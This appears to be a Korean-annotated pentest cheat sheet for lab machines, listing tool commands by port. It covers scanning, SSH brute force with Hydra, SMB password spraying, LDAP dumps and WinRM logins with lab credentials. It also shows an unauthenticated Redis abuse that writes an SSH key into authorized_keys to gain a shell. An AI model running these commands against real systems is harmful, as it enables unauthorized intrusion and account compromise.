Port Enumeration

Port Enumeration

in

Port Enum

  • Nmap
nmap -Pn 10.10.30.10 -oN result.txt
nmap -p- —min-rate 10000 10.10.10.229
nmap 10.10.10.229 -p- -sT --reason --open
nmap -sC -sV 10.10.10.229 -p 22,80,135,139
nmap --script vuln 10.10.10.229

22 Port (SSH)

  • Hydra 사용 브루트 포스
//-l login:아이디, -L:로그인 파일, -p:패스워드,-P:패스워드 파일
hydra -L users -P passwd 10.10.10.215 ssh

25 Port (SMTP)

  • Nmap Scan
nmap 10.11.1.72 -p 25 --script=smtp-*
  • smtp-user-enum
// 사용자 계정이 존재하는지 브루트포스 공격
smtp-user-enum -M VRFY -U /usr/share/wordlist/metasploit/namelist.txt -t 10.10.10.17

80,443 Port (WEB)

  • Gobuster
# 디렉토리 스캔 (https는 -k 옵션 추가, 확장자 지정 -x 추가 -x php,html)
gobuster dir -u http://10.10.10.229 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -o gobuster.txt

200 (Length: 9265). To continue please exclude the status code, the length or use the --wildcard switch
와 같은 에러가 나온다면 -b 200 옵션 추가

# 서브도메인 스캔 (-r 302 제외)
gobuster vhost -u http://10.10.10.229 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -o subdomains.txt
gobuster vhost -u http://devzat.htb -w ~/Documents/Hack/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -o subdomains.txt -r
  • Nikto
nikto -h http://10.10.10.229

88 Port (Kerberos)

  • 계정 존재 여부 확인
// --dc = 아이피 , -d = 도메인, 계정명 파일
./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL users.txt

135, 539 port (MSRPC)

rpcclient -U '' 10.10.10.161 --no-pass
//계정,패스워드를 알경우 (아이디%패스워드)
rpcclient -U 'hazard%steal1agent' 10.10.10.149

139, 445 Port (SMB)

  • 스캔
//crackmap 사용
crackmapexec smb 10.10.10.175
crackmapexec smb 10.10.10.175 --shares
crackmapexec smb 10.10.10.175 --shares -u anonymous

//smamap 사용
smbmap -H 10.10.10.175
smbmap -H 10.10.10.175 -u anonymous

//enum4linux 사용
enum4linux -a 10.10.10.175

//nmap smb-vuln 취약점 검색
nmap --script smb-vuln* -p 139,445 10.10.10.175

//계정 존재 확인
crackmapexec smb 10.10.10.149 -u users.txt -p passwords.txt
//한개의 계정 소유자격을 알 경우 RID 브루트포스를 통해 다른 계정명 확인
crackmapexec smb 10.10.10.149 -u hazard -p stealth1agent --rid-brute
  • crackmapexec (cme)
//계정 존재 확인
crackmapexec smb 10.10.10.149 -u users.txt -p passwords.txt

//한개의 계정 소유자격을 알 경우 RID 브루트포스를 통해 다른 계정명 확인
crackmapexec smb 10.10.10.149 -u hazard -p stealth1agent --rid-brute

//winrm (evil-winrm과 동일)
crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent
  • smbclient
//공유폴더 스캔 
smbclient -L //10.10.11.101

//smb 쉘 접근 (접근권한이 필요하여 계정으로 접근할경우 패스워드 알고 있어야함)
smbclient -U kyle //10.10.11.101/writer2_project

smbclient //'10.11.1.7 Bob Share'
  • SMB 공유폴더 접근
//smbmap, enum4linux, legion 등으로 anonymous로 접근가능한 폴더를 찾았을경우
1. smbclient 이용
smbclient //10.10.10.175/공유폴더이름

2. mount 사용 접근
mkdir /mnt/공유폴더이름
mount -t cifs //10.10.10.175/공유폴더이름 /mnt/공유폴더이름 -o username=anonymous
cd wwwroot

//마운트 해제 
umount //mnt//공유폴더이름

389, 636, 3268, 3269 (LDAP)

  • Nmap Scan
nmap -p 389 --script ladp-search 10.10.10.161
  • ldapsearch
// -x = anonymous, -b = base dn
ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=htb,dc=local"

//필터링 (person = 사람만 검색, 그 뒤 내용들은 해당 문구가 들어가는것만 검색)
ldapsearch -h 10.10.10.161 -x -b "DC=htb,DC=local" '(objectClass=Person)' sAMAccountName

5985 port (WinRM = Windows Remote Management)

  • 계정과 패스워드를 알 경우 쉘 접근 가능
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent

6379 port (Redis)

  • SSH key 등록
ssh-keygen -t rsa
vi id_rsa.pub //앞에 2줄 맨뒤에 2줄 엔터키 입력 (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
redis-cli -h 10.85.0.52
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save

ssh -i id_rsa redis@10.85.0.52

ETC

  • Wordpress
// enumerate = 옵션 설정 ap(모든 플러그인), at(모든 테마),cb(config backups), dbe(Db exports)
wpscan --url sandbox.local --enumerate ap,at,cb,dbe

// https 체크와 -e u 옵션시 계정아이디 확인가능
wpscan --url https://brainfuck.htb —disable-tls-checks -e u